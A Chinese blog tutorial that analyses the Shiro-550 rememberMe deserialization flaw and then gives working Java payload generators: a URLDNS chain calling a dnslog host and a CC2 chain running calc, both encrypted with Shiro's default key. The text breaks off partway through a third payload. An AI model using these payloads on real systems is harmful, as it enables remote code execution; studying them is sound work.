shiro 反序列化
shiro 反序列化
简介
Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序 —— 从最小的移动应用程序到最大的 Web 和企业应用程序。
从官方的简介中就可以看出他是款用来完成权限认证的一个框架
入门
想要深入了解一下可以去看官方的文章:Application Security With Apache Shiro - InfoQ
当然也可去从 B 站上找一下对应的教程,时间也不用太长就三四个小时就可以,快速了解一下
shiro 当在有几个比较重要的概念
Subject: 表示当前执行操作的“用户”SecurityManager: 负责管理所有的安全操作,像是认证、授权、会话管理等。Realm从数据源中获取用户身份信息(认证数据)和用户权限信息(授权数据)。PrincipalRealm 认证成功后由它返回的数据,来标识认证通过的客户端(用户)
基本的认证流程
- Subject 发起认证请求(调用 
subject.login(token),token 包含用户凭据,如用户名和密码)。 - SecurityManager 接收到登录请求,负责协调认证工作,调用底层的 
Authenticator。 - Authenticator 调用对应的 Realm(或多个 Realm)去验证凭证。
 - Realm 认证成功返回认证信息 —— 其中包括:
- Principal(标识用户身份的信息,比如用户名、用户 ID 等)
 - 以及凭据相关信息(Credentials)
 
 - Authenticator 收集这些信息,封装成 AuthenticationInfo 对象返回给 SecurityManager。
 - SecurityManager 判断认证是否成功,如果通过,会将对应的 Principal 等信息关联到当前 Subject 中。
 - 登录流程返回成功,Subject 成为一个已认证状态。
 
我们来看一下最基本的代码示例使用,这里借用最简单的 IniRealm 来进行认证
导入依赖
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>
<!-- 添加日志依赖 -->
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>1.7.30</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-simple</artifactId>
    <version>1.7.30</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>
在 Resource 目录下创建 shiro.ini 文件,用来让 IniRealm 获取用户的相关数据
[users]
# 用户名=密码,角色1,角色2,...
admin=123456,admin
guest=guest,guest
[roles]
admin=*
guest=read
login 测试代码
package com.lingx5;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.config.IniSecurityManagerFactory;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.Factory;
public class Login {
    public static void main(String[] args) {
        // 1. 通过ini配置文件创建SecurityManager工厂
        Factory<SecurityManager> factory = new IniSecurityManagerFactory("classpath:shiro.ini");
        // 2. 获取SecurityManager实例并设置到SecurityUtils
        SecurityManager securityManager = factory.getInstance();
        SecurityUtils.setSecurityManager(securityManager);
        // 3. 获取当前用户(Subject)
        Subject currentUser = SecurityUtils.getSubject();
        // 4. 登录认证
        UsernamePasswordToken token = new UsernamePasswordToken("admin", "123456");
        try{
            currentUser.login(token);
            System.out.println("登录成功");
        }catch (AuthenticationException e){
            System.out.println("登录失败");
        }
        // 5. 角色和权限校验
        if(currentUser.hasRole("admin")) {
            System.out.println("用户拥有admin角色");
        }
        if(currentUser.isPermitted("*")) {
            System.out.println("用户拥有所有权限");
        }
        // 6. 登出
        currentUser.logout();
        System.out.println("用户已登出");
    }
}
目录结构
输出结果

现在让我们来学习一下 shiro 的漏洞
Shiro550
环境搭建
下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
部署 samples-web

修改 samples-web 的 pom.xml 文件
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
当然默认是 jdk6,你也可以在父工程的 pom 文件中切换 jdk 的编译版本

启动项目
漏洞分析
shiro 交互流程
勾选 Remember Me 登录一下
首先就是发送正常的表单数据

服务器响应 Set-Cookie: rememberMe =....
接着客户端会发送一个带有 remeberMe 字段的请求
然后就会等了成功

RememberMe 的生成
看到勾选了 RememberMe 的选项后,服务器端会返回来一个 Set-Cookie: rememberMe= 的字段,客户端再次发送请求会带上这个值
我们来源码看一下这个值是如何生成的
在 idea 里搜索 RememberMe 会看到 org.apache.shiro.web.mgt.CookieRememberMeManager 这个类,看类名他应该就是管理 Cookie 中的 RememberMe 的
在 org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity 方法打断点,这个方法名叫 remember序列化表示 应该就是生成 RememberMe 字段的方法
我们发送请求,发现确实会断在这里

看一下调用栈
rememberSerializedIdentity:137, CookieRememberMeManager (org.apache.shiro.web.mgt)
rememberIdentity:347, AbstractRememberMeManager (org.apache.shiro.mgt)
rememberIdentity:321, AbstractRememberMeManager (org.apache.shiro.mgt)
onSuccessfulLogin:297, AbstractRememberMeManager (org.apache.shiro.mgt)
rememberMeSuccessfulLogin:206, DefaultSecurityManager (org.apache.shiro.mgt)
onSuccessfulLogin:291, DefaultSecurityManager (org.apache.shiro.mgt)
login:285, DefaultSecurityManager (org.apache.shiro.mgt)
login:256, DelegatingSubject (org.apache.shiro.subject.support)
executeLogin:53, AuthenticatingFilter (org.apache.shiro.web.filter.authc)
这也符合我们在入门时的分析,由 Filter 拦截到请求,交给 Subject 执行登录,会调用 SecurityManager 完成从 Realm 获取用户信息并判断登录是否成功
我们接着看上图 rememberSerializedIdentity 这个方法,后续流程就是把 serialized 参数,进行 base64 编码,设置到 cookie 中

我们主要得分析 serialized 参数,是如何得来的
在 上一层调用栈 rememberIdentity:347, AbstractRememberMeManager (org.apache.shiro.mgt) 中看到 serialized 参数就是用户表示序列化后加密得到的
    
跟一下加密这个函数 看到要获取 CipherService 这个加密服务类,调用它对应的 encrypt 方法进行加密
protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }
但是这个加密服务的实现类有 6 个,我们不确定是哪一个

我们在 org.apache.shiro.mgt.AbstractRememberMeManager#encrypt 函数打个断点,在发一次包,看看是调用的那个加密服务
看到调用的 AES 加密

AES 加密就只需要明文和密钥,密钥就是 getEncryptionCipherKey() 这个方法获取的

我们跟一下这个方法,看密钥是如何生成的。看到 get 方法直接 return 了
public byte[] getEncryptionCipherKey() {
    return encryptionCipherKey;
}
我们找一下 encryptionCipherKey 的 setter 方法

看看谁在调用它,给 encryptionCipherKey 赋值

找到了 AbstractRememberMeManager#setCipherKey 方法, 看到加密的 key 和解密的 key 是一个

继续找一下 setCipherKey 的调用

找到了 AbstractRememberMeManager 的构造方法

看到设置的是一个常量 DEFAULT_CIPHER_KEY_BYTES,也很好定位到

加密小结
把用户的身份表示 principals 序列化后,用固定的 key 进行了 AES 加密,设置到了 cookie 的 RememberMe 中
RememberMe 解密
我们发送带有 RememberMe 字段的请求
注意要删除 JSESSIONID 字段
其实这也很好理解,因为 JSESSIONID 是会话标识,表明当前请求绑定的活动会话,也就是说当前回话还没有断开。
而 RememberMe 是“免登录”凭据,及回话断开后,下次访问免登录的设置
在 CookieRememberMeManager 中有 getRememberedSerializedIdentity 方法,我们把断点下在这里,跟一下

return 出来后,来到 AbstractRememberMeManager#getRememberedPrincipals 方法,解析二进制的 byte 流,转化为 principals

我们跟进这个 convertBytesToPrincipals 方法

看一下 decrypt

看一下 decrypt 会来到 JcaCipherService#decrypt 这个实现
 public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
        byte[] encrypted = ciphertext;
        //No IV, check if we need to read the IV from the stream:
        byte[] iv = null;
        if (isGenerateInitializationVectors(false)) {
            try {
                //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
                //is:
                // - the first N bytes is the initialization vector, where N equals the value of the
                // 'initializationVectorSize' attribute.
                // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
                //So we need to chunk the method argument into its constituent parts to find the IV and then use
                //the IV to decrypt the real ciphertext:
                int ivSize = getInitializationVectorSize();
                
                int ivByteSize = ivSize / BITS_PER_BYTE; // ivByteSize = 16
                //now we know how large the iv is, so extract the iv bytes:
                iv = new byte[ivByteSize];
                // 把RememberMe的前16个字节复制到 iv 中
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); 
                //remaining data is the actual encrypted ciphertext.  Isolate it:
                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                // 把出去iv 的后续字节 复制到 encrypted 这个字节数组中
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }
	// 再用encrypted、iv和key 做AES的解密
        return decrypt(encrypted, key, iv);
    }
反序列化
接下来就是 deserialize 反序列化了,不过值得注意的是 这个 inputStream 流对象是 ClassResolvingObjectInputStream

而 ClassResolvingObjectInputStream 这个类重写了 resolveClass 方法,所以在反序列化的过程中会走重写的 resolveClass,而不会走 ObjectInputStream 默认的 resolveClass 方法
具体在 fastjson 原生反序列化链 - LingX5 - 博客园 这片文章中讲到过

看到调用的是 org.apache.shiro.util.ClassUtils#forName 而不是 JDK 的 java.lang.Class#forName(java.lang.String)方法
可以看一下 ClassUtils#forName 这个方法
public static Class forName(String fqcn) throws UnknownClassException {
    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn +
                      "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }
        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }
    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " +
                      "Trying the system/application ClassLoader...");
        }
        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }
    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
            "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    }
    return clazz;
}
其内部实现,就是调用了 ClassLoader.loadClass() 的方式 进行类加载,ClassLoader.loadClass()这种方式无法加载数组类型的。(但是这里也不是纯正的 ClassLoader.loadClass,这里会涉及到 tomcat 的类加载委派机制)
而 java.lang.Class#forName 会去调用 forName0() 这个 native 方法,利用 JVM 的内部机制,能够识别数组类的特殊命名格式
但是在这里是 tomcat 的环境,本质上是调用的 Tomcat 的 Webapp ClassLoader,后边还是会委托给 Class#forName 加载 外部的数组类型 (Transformer[]),由于委托的父类加载器 URLClassLoader 的搜索路径没有 CommonsCollections 这个依赖,所以会加载失败。
所以在进行传统 CC 链攻击的时候,由于无法加载 Transformer [] 这个数组类型,会抛出异常
我们可以利用 TemplatesImpl 或者 CB 链来实现攻击
CC6 失败的原因
加入 tomcat 的依赖
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>7.0.109</version>
</dependency>
我们来看一下调试看一下这个类加载过程
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
步入就来到了 ClassUtils.ExceptionIgnoringAccessor#loadClass 这个方法,看到 getClassLoader 就是 tomcat 的 WebappClassLoader

我们接着步入 来到 org.apache.catalina.loader.WebappClassLoaderBase#loadClass 方法
/**
     * 加载指定名称的类,并根据需要解析该类。
     * 此方法会尝试从多个位置加载类,包括缓存、J2SE 类加载器、父类加载器和本地仓库。
     */
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
    // 获取类加载锁并进行同步,确保线程安全
    synchronized(this.getClassLoadingLockInternal(name)) {
        // 标记是否委托给父类加载器加载类,一般为false
        boolean delegateLoad;
        // 标签用于跳出多层嵌套的代码块
        label220: {
            // 如果调试日志启用,记录加载类的信息
            if (log.isDebugEnabled()) {
                log.debug("loadClass(" + name + ", " + resolve + ")");
            }
            // 用于存储加载的类对象
            Class<?> clazz = null;
            // 检查类加载器是否已停止
            if (!this.started) {
                try {
                    // 若已停止,抛出 IllegalStateException
                    throw new IllegalStateException();
                } catch (IllegalStateException e) {
                    // 记录类加载器已停止的日志
                    log.info(sm.getString("webappClassLoader.stopped", new Object[]{name}), e);
                }
            }
            // 尝试从自定义的缓存中查找已加载的类
            clazz = this.findLoadedClass0(name);
            if (clazz != null) {
                // 如果在缓存中找到类,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Returning class from cache");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            }
            // 尝试从 Java 标准的缓存中查找已加载的类
            clazz = this.findLoadedClass(name);
            if (clazz != null) {
                // 如果在缓存中找到类,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Returning class from cache");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            }
            try {
                // 尝试使用 J2SE 类加载器加载类
                clazz = this.j2seClassLoader.loadClass(name);
                if (clazz != null) {
                    // 如果需要解析类,则解析该类
                    if (resolve) {
                        this.resolveClass(clazz);
                    }
                    return clazz;
                }
            } catch (ClassNotFoundException var11) {
                // 忽略类未找到异常,继续尝试其他加载方式
            }
            // 如果安全管理器存在
            if (this.securityManager != null) {
                // 此处存在逻辑错误,原代码想获取包名索引,应改为 name.lastIndexOf('.')
                delegateLoad = name.lastIndexOf('.') >= 0; 
                if (delegateLoad) {
                    try {
                        // 检查是否有权限访问该包
                        this.securityManager.checkPackageAccess(name.substring(0, name.lastIndexOf('.')));
                    } catch (SecurityException var9) {
                        // 记录安全违规日志
                        String error = "Security Violation, attempt to use Restricted Class: " + name;
                        if (name.endsWith("BeanInfo")) {
                            log.debug(error, var9);
                        } else {
                            log.info(error, var9);
                        }
                        // 抛出类未找到异常
                        throw new ClassNotFoundException(error, var9);
                    }
                }
            }
            // 判断是否委托给父类加载器加载类
            delegateLoad = this.delegate || this.filter(name);
            if (delegateLoad) {
                // 如果需要委托,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Delegating to parent classloader1 " + this.parent);
                }
                try {
                    // 尝试使用父类加载器加载类
                    clazz = Class.forName(name, false, this.parent);
                    if (clazz != null) {
                        // 如果加载成功,记录日志
                        if (log.isDebugEnabled()) {
                            log.debug("  Loading class from parent");
                        }
                        // 如果需要解析类,则解析该类
                        if (resolve) {
                            this.resolveClass(clazz);
                        }
                        return clazz;
                    }
                } catch (ClassNotFoundException var12) {
                    // 忽略类未找到异常,继续尝试其他加载方式
                }
            }
            // 如果调试日志启用,记录开始在本地仓库搜索类的信息
            if (log.isDebugEnabled()) {
                log.debug("  Searching local repositories");
            }
            try {
                // 尝试从本地仓库查找并加载类
                clazz = this.findClass(name);
                if (clazz == null) {
                    // 如果未找到类,跳出标签标记的代码块
                    break label220;
                }
                // 如果加载成功,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Loading class from local repository");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(clazz);
                }
                return clazz;
            } catch (ClassNotFoundException var13) {
                // 忽略类未找到异常,跳出标签标记的代码块
                break label220;
            }
        }
        // 如果没有委托给父类加载器加载类
        if (!delegateLoad) {
            // 如果调试日志启用,记录最后委托给父类加载器加载类的信息
            if (log.isDebugEnabled()) {
                log.debug("  Delegating to parent classloader at end: " + this.parent);
            }
            try {
                // 尝试使用父类加载器加载类
                Class<?> var21 = Class.forName(name, false, this.parent);
                if (var21 == null) {
                    // 如果未找到类,抛出类未找到异常
                    throw new ClassNotFoundException(name);
                }
                // 如果加载成功,记录日志
                if (log.isDebugEnabled()) {
                    log.debug("  Loading class from parent");
                }
                // 如果需要解析类,则解析该类
                if (resolve) {
                    this.resolveClass(var21);
                }
                return var21;
            } catch (ClassNotFoundException var14) {
                // 抛出类未找到异常
                throw new ClassNotFoundException(name);
            }
        }
    }
    // 如果所有尝试都失败,抛出类未找到异常
    throw new ClassNotFoundException(name);
}
主要的类加载方法
- clazz = this.findLoadedClass0(name);
 - clazz = this.findLoadedClass(name);
 - clazz = this.j2seClassLoader.loadClass(name);
 - clazz = Class.forName(name, false, this.parent); 当 delegateLoad 为 true 或者 false 都会经过这个 forName
 - clazz = this.findClass(name);
 
而数组类型缓存和类加载器无法加载,就会进入 Class.forName 方法传入 this.parent 向上委托

这里的加载流程为
加载核心类时:java.lang.String
URLClassLoader首先将请求委托给它的父加载器。URLClassLoader的父加载器通常是扩展类加载器 (ExtClassLoader)- 扩展类加载器再将请求委托给它的父加载器,也就是 引导类加载器 (Bootstrap ClassLoader)。
 - 引导类加载器 在其负责的路径(如 
rt.jar或 JRE 核心模块)中查找 。它 能够找到并加载 核心 Java 类。如 int String 等 - 获取元素类型: 由于委托链成功地让引导类加载器加载了 
java.lang.String,this.parent(URLClassLoader) 最终能够获取到java.lang.String的Class对象。 - 数组类创建: 因为元素类型 
java.lang.String的Class对象已成功加载(并且其定义类加载器是 Bootstrap ClassLoader),JVM 现在可以动态地创建String[]的Class对象。数组类的定义加载器与其元素类型的定义加载器相同。因此,String[]的定义加载器也是 Bootstrap ClassLoader。 - 返回结果: 
Class.forName成功返回String[]的Class对象。 
而加载外部类时:Transformer
URLClassLoader将请求委托给它的父加载器 (ExtClassLoader)。- Ext Loader 委托给 Bootstrap Loader。
 - Bootstrap Loader 找不到 
Transformer(它不是核心 JRE 类)。 - Platform/Ext Loader 找不到 
Transformer(它不在扩展目录或平台模块中)。 - 请求回到 
this.parent(URLClassLoader)。它会 搜索自己配置的 URLs ( Tomcat 的shared/lib或common/lib目录)。 - 而 
Transformer位于WEB-INF/classes或WEB-INF/lib中,这些路径通常不包含在父加载器 (this.parent) 的搜索路径中。因此,this.parent也找不到Transformer。 
看到 URLClassLoader 的路径主要就是 tomcat 的 lib 包目录

URLDNS
这应该是最常用的漏洞验证的链了,jdk 自身的发送 http 请求的链条
package com.lingx5;
import org.apache.shiro.codec.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        URL uri = new URL("http://x8o4kd.dnslog.cn");
        // 反射修改hashCode值,避免本地发送请求
        Field field = uri.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(uri, 1);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(uri, "lingx5");
        field.set(uri,-1); // 还原hashCode值
        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        byte[] URLbytes = barr.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 生成一个固定的 IV(实际应用中建议随机生成并随密文一起传输)
        byte[] iv = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] encryptedBytes = cipher.doFinal(URLbytes);
        // 合并 IV 和密文
        byte[] newBytes = new byte[iv.length + encryptedBytes.length];
        System.arraycopy(iv, 0, newBytes, 0, iv.length);
        System.arraycopy(encryptedBytes, 0, newBytes, iv.length, encryptedBytes.length);
        // Base64编码
        String encodedString = Base64.encodeToString(newBytes);
        System.out.println(encodedString);
        /**
         * 模拟Shiro解密过程进行验证
         * */
/*
        // Base64解码
        byte[] decode = Base64.decode(encodedString);
        // 分割 IV 和密文
        byte[] deIv = new byte[16];
        byte[] enBytes = new byte[decode.length - deIv.length];
        System.arraycopy(decode,0,deIv,0,deIv.length);
        System.arraycopy(decode,deIv.length,enBytes,0,enBytes.length);
        IvParameterSpec deIvSpace = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, key, deIvSpace);
        byte[] decryptedBytes = cipher.doFinal(enBytes);
        // 反序列化验证
        ByteArrayInputStream bais = new ByteArrayInputStream(decryptedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
 */
    }
}
AAAAAAAAAAAAAAAAAAAAAItICRDL55PQ4M+uF/0QjIxmsxx8mwO0zL+cCUsm9HObVST6ifzXbe1pfVhnBOcNB/avKvCNhZKKEkw8li0SSbf62ZGen2JxK9GPNTlXi10BYih5NVjk4ocW4ENUi6hZlSxiNlyC3Q25XwIhMON/uw7crTuwACWmWE0jIdPOYyABOdZJA9nlewAZpTrmEaHbZYQB5KVDpRXP2yqBkbTvjNUfIvwEuX60rpPKt7e8sEjSxFlwSCz3FKopCi3NiM3aeeXV8drr/SI0NQCbrCDgntbel3wZLXU0pMelccjtIQfq7JmBPs81MT3PR1GKNd5UWi8ESuneT6fkFK6FRu6pqfCmF9hYZMfctiA1v8GUGxpI

CC2payload
CC2 可以攻击的是 commons-collections4
需要 shiro 环境有 commons-collections4 依赖
<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Shiro550CC2 {
    public static  byte[] getEvil(){
        try {
            String  cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
            ClassPool ctClass = ClassPool.getDefault();
            CtClass evil = ctClass.makeClass("evil");
            evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
            evil.makeClassInitializer().insertBefore(cmd);
            byte[] bytes = evil.toBytecode();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static PriorityQueue gadget() throws Exception {
        // 构造TemplatesImpl对象
        Class<?> clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        TemplatesImpl templates = (TemplatesImpl) clazz.getConstructor().newInstance();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates, "_name", "evil");
        // 构造 CC2 利用链
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(1,comparator);
        setField(priorityQueue,"queue",new Object[]{templates,templates} );
        setField(priorityQueue,"size",2);
        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        // 序列化PriorityQueue对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(gadget());
        oos.close();
        
        byte[] CC2bytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 生成一个固定的 IV(实际应用中建议随机生成并随密文一起传输)
        byte[] iv = new byte[16];
        javax.crypto.spec.IvParameterSpec ivSpec = new javax.crypto.spec.IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] encryptedBytes = cipher.doFinal(CC2bytes);
        // 合并 IV 和密文
        byte[] newBytes = new byte[iv.length + encryptedBytes.length];
        System.arraycopy(iv, 0, newBytes, 0, iv.length);
        System.arraycopy(encryptedBytes, 0, newBytes, iv.length, encryptedBytes.length);
        // Base64编码
        String encodedString = Base64.encodeToString(newBytes);
        System.out.println(encodedString);
        
         /**
          * 模拟Shiro解密过程进行验证
          * */
        
        // Base64解码
        byte[] decode = Base64.decode(encodedString);
        // 分割 IV 和密文
        byte[] deIv = new byte[16];
        byte[] enBytes = new byte[decode.length - deIv.length];
        System.arraycopy(decode,0,deIv,0,deIv.length);
        System.arraycopy(decode,deIv.length,enBytes,0,enBytes.length);
        IvParameterSpec deIvSpace = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, key, deIvSpace);
        byte[] decryptedBytes = cipher.doFinal(enBytes);
        // 反序列化验证
        ByteArrayInputStream bais = new ByteArrayInputStream(decryptedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmGvHx2OvJ5ryzYS4uJR8RbZqb6c5DVsaBAnzkILt1HEKgl0/wuiDxWzHw/c7O253wUyl6/YB5eQZbrDzNR4BuXcmSrLAn2cMPOo/f7FBNDZ6Gx+prKFPBZD5Suu4B6baLKZ0+qkOWyjOhshG2IVWEdIStW3eCfaLnYYSx24taYZmD+n+iARz4bwtsCThedKniGYlFWRYGbFYgSbtJuzwPXR5jJcIiS5miHlpdftHO9qPESGHYxD/G9HodhwPGNb/PfRo5nTOXCCUohsJKvRPKU5R2AntvueGsQE51QPqU1xwRS6AlKNqCofMvvJI1Xgm29ah2brze3mZvOC/oDvDzZ1fO/yF5VN0f8fcvIkML64xr85zeCyyb+Ozj4RVgIkWrud0cfqZDkagw3Q+bL/C+N7L8jVH+EJDIqzhfiLKg5hAkBaS6Gq3X/BxPT80hEX/u6ke6eedzfMwwi487NVb8uZpBlmNBY+l9K5Ml5ZBWN7e8ecziiswodwu0PX12Eq+wtHpIiUt5rpyHnbV0Wyk+oHvlICeBhdEXlrGcmCDJWpN/J8uWykd/4rkXi192HWTmMaUV69sfBXxgV6461QX7fFbMxY5+MNfJzo78OXxZAkFA/R+xhALT3aP6TFPJKX1kEbP8lL/D39FIDw+WLHezbGJpfPbT/1KIU7dY/n6wqxJpq/B/FNPNKn3bcZaa8uktCgrBq67j/+cd6y1k3V2Rt8uP7sK9pUMv5D9Xk32kzC0QTHYmLAXRIffY97am6nzWhE5yqmKGAm7Nom3Wmy2i2oY5dQGg/D7DNY0Q15BplVWoOUDveB9az1g9GrF8ds4VAI7ZmCPwiz/7Q5lTa3CBAH00NWkauHe/iLqnw/injiwewoL8PA3fQv3R05lFC6LodL8PfKb1aEYWv8/PcRqWcM4QFkI4+VrmsHpu7D3/QthiMkQCCMS/VZjmtI2irReaLS9mlSlsa+p4mV5P6segENa7A5d6A5ov9hJ1oyGL7WGkaljvpEQrvbuu6gsPR2sw26e567iZtAsOv1j46MlYiAKBFMX4fR41ARzoIS/b2fVV/Bi7+MYP7S/50xS5ynfqby3rmJPYe1uIoJFZhUvwvMWCcU+vQ5rnVD6vd4KNp1ULXNeS3Wd/nZRWIKrpsDxyGZ8ZhFWxJh28IPXrL4VWjfeYnXlk7VlnZq4gp3JGHCm0MTo51Fy6Dpg9AdN5qlxIAsXWD6hTYWlMiuPNuIBQmUfePCG5vJA26lTFa2nRZB3Lwggj20s6QDIQ/cOLrLzZ49KvdefCasO/o1tArOpfcVE+nC3WYBrcRVAC0jrlErBTNR7IW6wBdpSD0R24O9jWzBDsCmxkNEC+cN6Jn8J7/TzcrKHjnhimpNYZkC1X0epP8Xw3wWJbQOakrzYJIF9zEWBVdldFN9CrE8nbei/MM/Xiywn6LOoLHdaiDQ5LhFA221wep1ek8gvzWI0QT8g+vvz6PdgrzThNhkFHGrYYt7h59owXNAJ6drLJHmQogsx0/Fge0YZdAfr8MwpUVdUiNnxNe0IaKPKK1QZhVcD9VJfBW3hKUKV6ojeHW9QKhh0AMV/4vZFs3VkkNJOVjr8TCEKZoW5m60pB0O5YhhOHGo=
可以成功执行

CC3.2.1 攻击
需要 shiro 目标有 CommonsCollections3.2.1 依赖
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
这条链子是由 CC 系列的链条拼接得到的,主要就是要去掉 Transformer [] 这个数组,实现命令执行
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import org.apache.shiro.codec.Base64;
import java.util.Map;
public class CC321Payload {
   	// 生成恶意类字节码
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
